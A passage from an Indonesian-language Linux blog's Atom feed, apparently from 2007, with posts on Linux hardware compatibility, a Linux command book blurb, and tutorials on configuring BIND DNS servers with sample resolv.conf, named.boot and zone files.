Stylus Photo EX.&lt;br /&gt;Selain itu, seluruh jenis printer yang mendukung PostScript didukung oleh Linux.&lt;br /&gt;Daftar lengkap printer yang didukung oleh Linux dapat anda lihat pada http://www.picante.com/~gtaylor/pht/printer_list.cgi.&lt;br /&gt;Scanner&lt;br /&gt;Dukungan scanner pada Linux diberikan oleh program SANE (http://www.mostang.com/sane/). Beberapa scanner yang didukung oleh SANE adalah:&lt;br /&gt;• Artec AT3, A6000C, A6000C Plus, AT6, AT12, AM12S.&lt;br /&gt;• HP Scanjet Plus, IIp, IIc, IIcx, 3c, 3p, 4c, 4p, 4100c, 5p, 5100c, 5200c, 6100c, 6200c, 6250c, 6300c, 6350c.&lt;br /&gt;• UMAX 600S, 610S, 1200S, 1220S, 2200W, 2400S. UMAX versi paralel dan USB TIDAK didukung.&lt;br /&gt;• Beberapa scanner Epson dan Canon didukung, namun driver untuk scanner-scanner tersebut masih versi alpha.&lt;br /&gt;Untuk informasi lengkap mengenai scanner yang didukung oleh SANE, silakan lihat daftar lengkapnya di http://www.mostang.com/sane/sane-backends.html&lt;br /&gt;TV/Radio Tuner&lt;br /&gt;Linux juga mendukung tuner TV/Radio sehingga anda dapat mendengarkan radio atau menonton TV pada tampilan Linux anda. TV/Radio tuner yang paling populer adalah yang memiliki chipset Brooktree Bt848 atau Bt878, lihatlah pada kartu tuner yang bersangkutan. Seluruh tuner yang memiliki chipset tersebut didukung oleh Linux seperti Hauppauge WinTV atau Avermedia. Chipset lainnya yang didukung Linux adalah AIMSLab Radiotrack, Aztech/Packard Bell Radio, ADS Channelsurfer, Miro, Zoran, Zoltrix, serta kamera QuickCam.&lt;br /&gt;Universal Serial Bus (USB)&lt;br /&gt;Saat ini mulai banyak bermunculan hardware-hardware yang menggunakan bus USB. Dukungan penuh Linux untuk USB baru dimulai pada kernel versi 2.3 dan 2.4. Pada kernel 2.2.14 Linux baru mendukung device USB keyboard, mouse dan sound saja. Dukungan USB untuk Linux dapat anda lihat pada http://www.qbik.ch/usb/devices/.&lt;br /&gt;Jika anda telah memiliki hardware yang tidak didukung oleh Linux, anda dapat melakukan hal-hal di bawah ini:&lt;br /&gt;• Jika vendor hardware anda tidak membuka spesifikasi teknis hardware yang anda miliki, anda dapat mengusulkan kepada vendor tersebut untuk membuka spesifikasi teknisnya. Dahulu Creative Labs tidak membuka spesifikasi dari SoundBlaster Live!, namun karena dorongan publik, Creative akhirnya membuka spesifikasi teknisnya, dan bahkan membantu membuatkan driver yang opensource di http://opensource.creative.com.&lt;br /&gt;• Anda dapat menukarkan hardware anda dengan hardware lain yang didukung oleh Linux.&lt;br /&gt;• Jika anda mampu, anda dapat membuat driver untuk hardware anda, atau setidaknya membantu pembuat driver. Sebagian besar driver hardware untuk Linux tidak ditulis oleh vendor hardware yang bersangkutan, namun ditulis oleh komunitas Linux.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-519014757162196320?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/519014757162196320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/519014757162196320'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/pedoman-memilih-hardware-dengan-linux.html' title='Pedoman memilih Hardware dengan Linux'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-6911501785180128789</id><published>2007-07-28T13:31:00.000+07:00</published><updated>2007-07-28T13:34:07.187+07:00</updated><title type='text'>A Practical Guide to Linux(R) Commands, Editors, and Shell Programming</title><content type='html'>To be truly productive with Linux, you need to thoroughly master the shells and the command line. Until now, you had to buy two books to gain that mastery: a tutorial on fundamental Linux concepts and techniques, plus a separate reference. Worse, most Linux references offer little more than prettied-up man pages. Now, there’s a far better solution. Renowned Linux expert Mark Sobell has brought together comprehensive, insightful guidance on the tools system administrators, developers, and power users need most, and an outstanding day-to-day reference, both in the same book.&lt;br /&gt;&lt;br /&gt;This book is 100 percent distribution and release agnostic: You can use it on any Linux system, now and for years to come. What’s more, it’s packed with hundreds of high-quality examples: better examples than you’ll find in any other Linux guidebook. This is Linux from the ground up: the clearest explanations and most useful knowledge about everything from filesystems to shells, editors to utilities, and programming tools to regular expressions. And when you need instant answers, you’ll constantly turn to Sobell’s comprehensive command reference section—organized and tabbed for easy, fast access!&lt;br /&gt;&lt;br /&gt;Don’t settle for yesterday’s Linux guidebook. Get the one book that meets today’s challenges—and tomorrow’s!&lt;br /&gt;&lt;br /&gt;A Practical Guide to Linux® Commands, Editors, and Shell Programming is the most useful, most comprehensive Linux tutorial and reference you can find. It’s the only book to deliver&lt;br /&gt;Better, more realistic examples covering tasks you’ll actually need to perform&lt;br /&gt;Deeper insight, based on Sobell’s immense knowledge of every Linux nook and cranny&lt;br /&gt;More practical explanations of more than eighty core utilities, from aspell to xargs&lt;br /&gt;Techniques for implementing secure communications using ssh and scp—plus dozens of tips for making your system more secure&lt;br /&gt;A superior introduction to the Linux programming environment, including make, gcc, gdb, CVS, and much more&lt;br /&gt;Expert guidance on basic and advanced shell programming using bash and tcsh&lt;br /&gt;Tips and tricks for customizing the shell and using it interactively from the command line&lt;br /&gt;Thorough guides to vim and emacs, designed to help you get productive fast and maximize your editing efficiency&lt;br /&gt;Dozens of exercises to help you practice and gain confidence&lt;br /&gt;Instructions for using Apt, yum, and BitTorrent for keeping your system up to date automatically&lt;br /&gt;And much more, including coverage of gawk, sed, find, sort, bzip2, and regular expressions&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-6911501785180128789?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/6911501785180128789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/6911501785180128789'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/practical-guide-to-linuxr-commands.html' title='A Practical Guide to Linux(R) Commands, Editors, and Shell Programming'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-5817203023894276041</id><published>2007-07-13T16:15:00.000+07:00</published><updated>2007-07-13T16:16:15.845+07:00</updated><title type='text'>Mengkonfigurasi DNS Server</title><content type='html'>Membuat Primary dan Secondary DNS Server&lt;br /&gt;Joko Yuliantoro &amp; Onno W. Purbo&lt;br /&gt;Computer Network Research Group (CNRG)&lt;br /&gt;Institut Teknologi Bandung (ITB)&lt;br /&gt;&lt;br /&gt; Untuk beroperasinya sebuah jaringan komputer Internet, sebetulnya pengalamatan sebuah komputer dilakukan menggunakan angka yang dikenal sebagai Internet Protocol (IP) Address yang terdiri dari 32 bit. Tentunya akan sukar bagi manusia / user untuk mengingat sekian juta komputer di seluruh Internet. Untuk itu dikembangkan penamaan mesin yang lebih manusiawi menggunakan konsep Domain Name System (DNS). Pada tulisan ini kami akan mencoba menjelaskan cara mensetup DNS Server di mesin dengan OS UNIX. Kemampuan ini akan sangat dibutuhkan bila sebuah institusi /perusahaan ingin mempunyai nama hostname sendiri di Internet. &lt;br /&gt; Domain Name System adalah salah satu jenis sistem yang melayani permintaan pemetaan IP Address ke FQDN ( Fully Qualified Domain Name ) dan dari FQDN ke IP Address. FQDN lebih mudah untuk diingat oleh manusia daripada IP Address. Sebagai contoh, sebuah komputer memiliki IP Address 167.205.22.114 dan memiliki FQDN “nic.itb.ac.id”. Nama “nic.itb.ac.id” tentunya lebih mudah diingat daripada nomor IP Address di atas. Apalagi setelah lahirnya konsep IP Version 6 yang memiliki 6 segment untuk setiap komputer sehingga nomor IP Address menjadi semakin panjang dan lebih sulit untuk diingat. Selain itu, DNS juga menyediakan layanan mail routing, informasi mengenai hardware, sistem operasi yang dijalankan, dan aplikasi jaringan yang ditangani oleh host tersebut.&lt;br /&gt; Pada sistem operasi UNIX, DNS diimplementasikan dengan menggunakan software Berkeley Internet Name Domain (BIND). BIND ini memiliki dua sisi, yaitu sisi client dan sisi server. Sisi client disebut resolver. Resolver ini bertugas membangkitkan pertanyaan mengenai informasi domain name yang dikirimkan kepada sisi server. Sisi server BIND ini adalah sebuah daemon yang disebut named. Ia yang akan menjawab query-query dari resolver yang diberikan kepadanya. &lt;br /&gt; Pada saat BIND dijalankan, ia memiliki 4 modus operasi, yaitu :&lt;br /&gt;• Resolver-only&lt;br /&gt;Komputer hanya membangkitkan query informasi domain name kepada sebuah DNS server dan tidak menjalankan fungsi DNS server.&lt;br /&gt;• Caching-only&lt;br /&gt;Komputer menjalankan fungsi name server tetapi tidak memiliki database DNS server. Ia hanya mempelajari jawaban-jawaban query yang diberikan oleh remote DNS server dan menyimpannya dalam memory. Data-data dalam memory tersebut akan digunakan untuk menjawab query selanjutnya yang diberikan kepadanya.&lt;br /&gt;• Primary server&lt;br /&gt;Komputer menjalankan fungsi name server berdasarkan database yang dimilikinya. Database ini dibangun oleh administrator DNS. Server ini menjadi authoritative source bagi domain tertentu.&lt;br /&gt;• Secondary server&lt;br /&gt;Komputer menjalankan fungsi name server berdasarkan database yang diambil dari primary server. Proses pengambilan file database ini sering disebut zone file transfer. Ia juga menjadi authoritative source bagi domain tersebut.&lt;br /&gt;&lt;br /&gt;Resolver-only&lt;br /&gt; Saat berada dalam modus resolver-only, BIND akan mencari file /etc/resolv.conf  (pada UNIX umum) dan membaca konfigurasi yang tertera dalam file tersebut. Jika BIND tidak menemukan file tersebut maka ia akan menggunakan konfigurasi standar yang dimilikinya.&lt;br /&gt; Bentuk dasar sintaks pada file /etc/resolv.conf adalah sebagai berikut :&lt;br /&gt;   domain name&lt;br /&gt;   nameserver address&lt;br /&gt;  [nameserver address]&lt;br /&gt;domain menyatakan default domain seperti yang didefinisikan oleh entry name. Jika ada penulisan nama host yang tidak mengandung tanda baca titik maka resolver akan menambahkan entry name di belakang nama host tersebut. Sebagai contoh, jika Anda menuliskan host name mail saja dan entry name berisi ptn.co.id maka resolver akan menggunakan nama  mail.ptn.co.id. &lt;br /&gt;nameserver menyatakan server mana yang harus dihubungi jika ada query dari resolver mengenai domain di atas. Apabila server tersebut tidak bisa dihubungi, server selanjutnya menjadi sasaran lemparan query.&lt;br /&gt; &lt;br /&gt;Contoh listing file /etc/resolv.conf :&lt;br /&gt;&lt;br /&gt;# Resolver configuration file &lt;br /&gt;domain ptn.co.id&lt;br /&gt;# Server terdekat adalah mumet.ptn.co.id, IP 169.98.3.1&lt;br /&gt;nameserver 169.98.3.2&lt;br /&gt;# Gagal ??? Coba server kedua : nggliyeng.ptn.co.id, IP 169.98.2.15&lt;br /&gt;nameserver 169.98.2.15&lt;br /&gt;# Gagal lagi ??? Server ketiga : ngeh.ptn.co.id, IP 169.98.1.2&lt;br /&gt;nameserver 169.98.1.2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ketiga modus selanjutnya dapat dijalankan secara bersamaan atau berdiri sendiri pada sebuah komputer yang menjadi DNS server. Pengaturan modus ini dilakukan pada konfigurasi daemon named. File-file penting yang menjadi acuan bagi named untuk beroperasi adalah named.boot, data_cache, data_domain, dan data_reverse. named.boot adalah file yang berisi boot script bagi DNS server. data_cache adalah file yang berisi DNS root server. data_domain adalah file yang berisi pemetaan dari FQDN ke IP Address dan data terlengkap dari domain yang bersangkutan. data_reverse adalah file yang berisi data mengenai pemetaan IP Address ke FQDN. Pada sistem operasi UNIX, file-file tersebut terletak di direktori /etc/namedb. Direktori tersebut menjadi default bagi named.&lt;br /&gt; File konfigurasi yang paling penting bagi named adalah file /etc/namedb/named.boot. File ini berisikan perintah-perintah yang mendefinisikan fungsi named sebagai caching-only server, primary server, atau secondary server.&lt;br /&gt;&lt;br /&gt;Caching-only&lt;br /&gt; Jika kita ingin mengatur agar named hanya beroperasi pada modus caching-only maka file named.boot hanya berisi perintah cache diikuti nama file yang berisi server-server utama yang menjadi tempat melemparkan query.&lt;br /&gt; Berikut ini contoh file named.boot dimana kita mengatur named agar beroperasi pada modus caching-only :&lt;br /&gt;&lt;br /&gt;;  file named.boot&lt;br /&gt;;&lt;br /&gt;;  mendefinisikan default directory&lt;br /&gt;directory   /etc/namedb&lt;br /&gt;;&lt;br /&gt;;  menjadi caching-only server&lt;br /&gt;cache   data_cache&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Primary Server&lt;br /&gt; Jika kita menghendaki named pada komputer kita menjadi primary server, kita tambahkan kata primary diikuti domain yang dipegang oleh named tersebut dan diakhiri dengan nama file yang berisi database domain tersebut..&lt;br /&gt;Sebagai contoh, komputer kita menjadi primary server untuk domain ptn.co.id dengan file data_domain berjudul ptn. Sebaiknya, sebuah primary server juga menjalankan fungsi caching-only. Hal ini untuk menambah kehandalan server dalam menjawab query-query yang cukup rumit. File named.boot akan berisi sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;  file named.boot&lt;br /&gt;;&lt;br /&gt;;  mendefinisikan default directory&lt;br /&gt;directory       /etc/namedb&lt;br /&gt;;&lt;br /&gt;;  menjadi caching-only server&lt;br /&gt;cache       data_cache&lt;br /&gt;;&lt;br /&gt;;  menjadi primary server atas domain ptn.co.id&lt;br /&gt;primary ptn.co.id     ptn&lt;br /&gt;;&lt;br /&gt;;  menjadi primary server atas pemetaan IP Address 169.98.1.x ke FQDN&lt;br /&gt;primary 1.98.169.IN-ADDR.ARPA   rev_169.98.1.x&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika komputer kita juga menjadi primary server atas pemetaan IP Address 169.98.1.x ke FQDN maka kita tambahkan entry yang terakhir.&lt;br /&gt;&lt;br /&gt;Secondary Server&lt;br /&gt; Secondary server adalah DNS server yang menggunakan database domain yang ditransfer dari primary server. Untuk mengatur server agar menjadi secondary bagi domain tertentu, kita tambahkan kata secondary diikuti dengan domain yang dipegang, kemudian diikuti oleh IP Address primary server dan diakhiri dengan nama file databasenya. &lt;br /&gt;Sebagai contoh, komputer kita akan bertindak sebagai secondary server untuk domain pts.ac.id. Primary server domain dipegang oleh server dns.pts.ac.id dengan nomor IP Address 190.21.85.2. Kita edit file named.boot sehingga menjadi seperti berikut :&lt;br /&gt;&lt;br /&gt;;  file named.boot&lt;br /&gt;;&lt;br /&gt;;  mendefinisikan default directory&lt;br /&gt;directory   /etc/namedb&lt;br /&gt;;&lt;br /&gt;;  menjadi caching-only server&lt;br /&gt;cache   data_cache&lt;br /&gt;;&lt;br /&gt;;  menjadi primary server atas domain ptn.co.id&lt;br /&gt;primary ptn.co.id ptn&lt;br /&gt;;&lt;br /&gt;;  menjadi secondary server atas domain pts.ac.id dari dns.pts.ac.id&lt;br /&gt;secondary  pts.ac.id 190.21.85.2   sec_pts&lt;br /&gt;;&lt;br /&gt;;  menjadi primary server atas pemetaan IP Address 169.98.1.x ke FQDN&lt;br /&gt;primary 1.98.169.IN-ADDR.ARPA   rev/rev_169.98.1.x&lt;br /&gt;;&lt;br /&gt;;  menjadi secondary server atas pemetaan IP Address 190.21.85.x ke FQDN&lt;br /&gt;secondary  85.21.190.IN-ADDR.ARPA 190.21.85.2 rev/sec_190.21.85.x&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Jika kita juga menjadi secondary server atas pemetaan IP Address 190.21.85.x ke FQDN dari server dns.pts.ac.id kita tambahkan entry yang terakhir. &lt;br /&gt;&lt;br /&gt; Langkah selanjutnya adalah membuat file data_domain dan data_reverse (seperti file ptn dan rev/rev_169.98.1.x) yang akan dibahas pada artikel mendatang.&lt;br /&gt;&lt;br /&gt;Daftar Pustaka &lt;br /&gt;• RFC 1034, “Domain Names - Concepts and Facilities”&lt;br /&gt;• RFC 1035, “Domain Names - Implementation and Spesification”&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-5817203023894276041?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/5817203023894276041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/5817203023894276041'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/mengkonfigurasi-dns-server.html' title='Mengkonfigurasi DNS Server'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-1829891094672605115</id><published>2007-07-13T15:42:00.000+07:00</published><updated>2007-07-13T15:49:39.510+07:00</updated><title type='text'>DNS (Domain Name Service)</title><content type='html'>DNS (Domain Name Service)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; DNS bertugas meresolusi IP ke nama alamat dan sebaliknya dari nama alamat ke nomor IP. Beberapa cara untuk meresolusi alamat Internet antara lain :&lt;br /&gt;1.Dengan membaca file lokal /etc/hosts&lt;br /&gt;2.Dengan memanfaatkan pelayanan DNS Server&lt;br /&gt;3.Dengan memanfaatkan pelayanan NIS (Network Information System) Server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;File /etc/hosts&lt;br /&gt;&lt;br /&gt; File ini berisi pengalamatan name-to-ip yang bisa digunakan juga untuk resolusi ip-to-name. Dengan memiliki file ini, mesin Linux dapat menggunakan nama yang lebih mudah diingat untuk memanggil atau mengakses mesin lain dalam jaringan, daripada harus menggunakan nomor IP. File ini amat sederhana isinya seperti dalam contoh berikut :&lt;br /&gt;[root@digital modul]# cat /etc/hosts&lt;br /&gt;192.168.0.6     digital.adhyaksa.net    digital&lt;br /&gt;127.0.0.1       localhost.localdomain   localhost    &lt;br /&gt;Keterangan :&lt;br /&gt;Kolom 1 adalah nomor IP&lt;br /&gt;Kolom 2 adalah FQDN (Fully Qualified Domain Name)&lt;br /&gt;Kolom 3 adalah nama host&lt;br /&gt;&lt;br /&gt;File /etc/hosts diatas menunjukkan bahwa nama digital.adhyaksa.net dan digital dipetakan ke nomor IP 192.168.0.6, nama localhost.localdomain dan localhost dipetakan ke nomor IP 127.0.0.1.&lt;br /&gt;&lt;br /&gt;Kelemahan menggunakan file /etc/hosts :&lt;br /&gt;Semua mesin atau host dalam jaringan harus memiliki file ini identik isinya satu sama lain&lt;br /&gt;Setiap kali ada perubahan nama host atau nomor IP, maka seluruh file di seluruh host harus di-update isinya&lt;br /&gt;Sangat tidak praktis untuk jaringan dengan host banyak &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DNS Server&lt;br /&gt;&lt;br /&gt; Menggunakan DNS tidak seperti menggunakan file /etc/hosts. DNS bersifat client-server sehingga administrasi cukup dilakukan di sisi server saja, sedangkan pada client cukup dikonfigurasi 1 kali yaitu memberi cara agar mesin client dapat menghubungi DNS server.&lt;br /&gt; Dalam jaringan Internet, DNS server diseluruh dunia saling bekerjasama dalam rangka meresolusi alamat Internet. Network yang lebih besar memiliki DNS server yang menjadi sumber data bagi DNS server pada network dibawahnya. Kerjasama yang dijalin ini dapat digambarkan pada contoh kasus berikut :&lt;br /&gt;"Proses penampilan gambar atau isi sebuah situs pada browser Netscape yang digunakan seorang pengguna Linux dengan akses dial-up ke sebuah ISP di Indonesia misalnya comnet.net.id. Saat  itu DNS client mengarah pada DNS server dengan IP 202.150.128.64 dan IP 202.150.128.65."&lt;br /&gt;Perjalanan yang ditempuh untuk meresolusi IP secara umum dapat dijelaskan seperti berikut :&lt;br /&gt;1.Browser diarahkan ke situs http://mail.ngoprek.org&lt;br /&gt;2.DNS client menghubungi DNS server agar mendapatkan IP domain mail.ngoprek.org&lt;br /&gt;3.DNS server mencari data mengenai mail.ngoprek.org dengan cara menghubungi DNS server tertinggi yaitu . (dot) atau root server&lt;br /&gt;4.DNS root server menghubungi DNS server org&lt;br /&gt;5.DNS server org menghubungi DNS server ngoprek.org &lt;br /&gt;6.DNS server ngoprek.org mengenali subdomain mail.ngoprek.org dan berhasil meresolusi mail.ngoprek.org ke IP 202.135.0.9 &lt;br /&gt;7.IP tersebut dikirimkan kembali ke DNS client kemudian diberikan ke browser &lt;br /&gt;8.Browser mengarahkan langsung langsung ke IP 202.135.0.9 untuk menghubungi web server pada IP tersebut&lt;br /&gt;&lt;br /&gt; DNS server terdiri dari 2 jenis server, yaitu :&lt;br /&gt;Primary Name Server (PNS) adalah DNS server yang bertanggung jawab atas resolusi domain dan subdomain yang dikelolanya&lt;br /&gt;Secondary Name Server (SNS) adalah DNS server yang secara hirarki setara dengan PNS namun data-data domain dan subdomain diperoleh dengan cara menyalin dari PNS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DNS Client&lt;br /&gt;&lt;br /&gt; DNS client bertugas untuk menentukan DNS server yang digunakan untuk meresolusi alamat Internet yang perlu dihubungi oleh program dalam mesin client. Dalam sistem Linux, DNS client merupakan file biasa seperti /etc/hosts bernama /etc/resolv.conf, namun dengan isi berbeda seperti contoh berikut :&lt;br /&gt;[root@digital /root]# ls -l /etc/resolv.conf&lt;br /&gt;-rw-r--r--    1 root     root           66 Dec  3 10:23 /etc/resolv.conf&lt;br /&gt;[root@digital /root]# cat /etc/resolv.conf&lt;br /&gt;search adhyaksa.net&lt;br /&gt;nameserver 192.168.0.4&lt;br /&gt;nameserver 192.168.0.1  &lt;br /&gt;&lt;br /&gt;Pada contoh diatas PNS yang dihubungi adalah IP 192.168.0.4 dan SNS yang dihubungi adalah IP 192.168.0.1. Tag search berisi sebuah nama yang digunakan sebagai default domain bila resolusi sebuah nama gagal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Paket BIND 8.2.2&lt;br /&gt;&lt;br /&gt; Program DNS yang digunakan oleh Linux RedHat 6.2 adalah BIND 8.2.2 yang terdiri dari file-file rpm sebagai berikut :&lt;br /&gt;bind-8.2.2_P5-9.i386.rpm&lt;br /&gt;bind-utils-8.2.2_P5-9.i386.rpm&lt;br /&gt;bind-devel-8.2.2_P5-9.i386.rpm&lt;br /&gt;caching-nameserver-6.2-2.noarch.rpm   &lt;br /&gt;&lt;br /&gt;Gunakan rpm -ivh untuk menginstal bind pada mesin server Linux.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Konfigurasi Name Server&lt;br /&gt; &lt;br /&gt; PNS membaca data-data resolusi pada sekumpulan file konfigurasi yang terdapat pada komputer lokal. File-file tersebut antara lain :&lt;br /&gt;/etc/named.conf&lt;br /&gt;Berisi konfigurasi DNS server BIND 8.x.x.&lt;br /&gt;[root@digital /root]# cat /etc/named.conf&lt;br /&gt;// generated by named-bootconf.pl&lt;br /&gt;options {&lt;br /&gt;        directory "/var/named";&lt;br /&gt;        /*&lt;br /&gt;         * If there is a firewall between you and nameservers you want&lt;br /&gt;         * to talk to, you might need to uncomment the query-source&lt;br /&gt;         * directive below.  Previous versions of BIND always asked&lt;br /&gt;         * questions using port 53, but BIND 8.1 uses an unprivileged&lt;br /&gt;         * port by default.&lt;br /&gt;         */&lt;br /&gt;        // query-source address * port 53;&lt;br /&gt;};&lt;br /&gt;//&lt;br /&gt;// a caching only nameserver config&lt;br /&gt;//&lt;br /&gt;zone "." {&lt;br /&gt;        type hint;&lt;br /&gt;        file "named.ca";&lt;br /&gt;};&lt;br /&gt;zone "0.0.127.in-addr.arpa" {&lt;br /&gt;        type master;&lt;br /&gt;        file "named.local";&lt;br /&gt;};                                                                              &lt;br /&gt;&lt;br /&gt;/var/named/* &lt;br /&gt;Direktori /var/named berisi file-file zona yang namanya bersesuaian dengan tag file pada bracket zone dalam /etc/named.conf&lt;br /&gt;[root@digital /root]# ls -l /var/named&lt;br /&gt;total 4&lt;br /&gt;-rw-r--r--    1 root     root         2769 Feb  4  2000 named.ca&lt;br /&gt;-rw-r--r--    1 root     root          422 Feb  4  2000 named.local &lt;br /&gt;&lt;br /&gt;[root@digital /root]# cat /var/named/named.local&lt;br /&gt;@       IN      SOA     localhost. root.localhost.  (&lt;br /&gt;                                      1997022700 ; Serial&lt;br /&gt;                                      28800      ; Refresh&lt;br /&gt;                                      14400      ; Retry&lt;br /&gt;                                      3600000    ; Expire&lt;br /&gt;                                      86400 )    ; Minimum&lt;br /&gt;              IN      NS      localhost.&lt;br /&gt; &lt;br /&gt;1       IN      PTR     localhost.  &lt;br /&gt;&lt;br /&gt;[root@digital /root]# cat /var/named/named.ca&lt;br /&gt;;       This file holds the information on root name servers needed to&lt;br /&gt;;       initialize cache of Internet domain name servers&lt;br /&gt;;       (e.g. reference this file in the "cache  .  &lt;file&gt;"&lt;br /&gt;;       configuration file of BIND domain name servers).&lt;br /&gt;;&lt;br /&gt;;       This file is made available by InterNIC registration services&lt;br /&gt;;       under anonymous FTP as&lt;br /&gt;;           file                /domain/named.root&lt;br /&gt;;           on server           FTP.RS.INTERNIC.NET&lt;br /&gt;;       -OR- under Gopher at    RS.INTERNIC.NET&lt;br /&gt;;           under menu          InterNIC Registration Services (NSI)&lt;br /&gt;;              submenu          InterNIC Registration Archives&lt;br /&gt;;           file                named.root&lt;br /&gt;;&lt;br /&gt;;       last update:    Aug 22, 1997&lt;br /&gt;;       related version of root zone:   1997082200&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;; formerly NS.INTERNIC.NET&lt;br /&gt;;&lt;br /&gt;.                        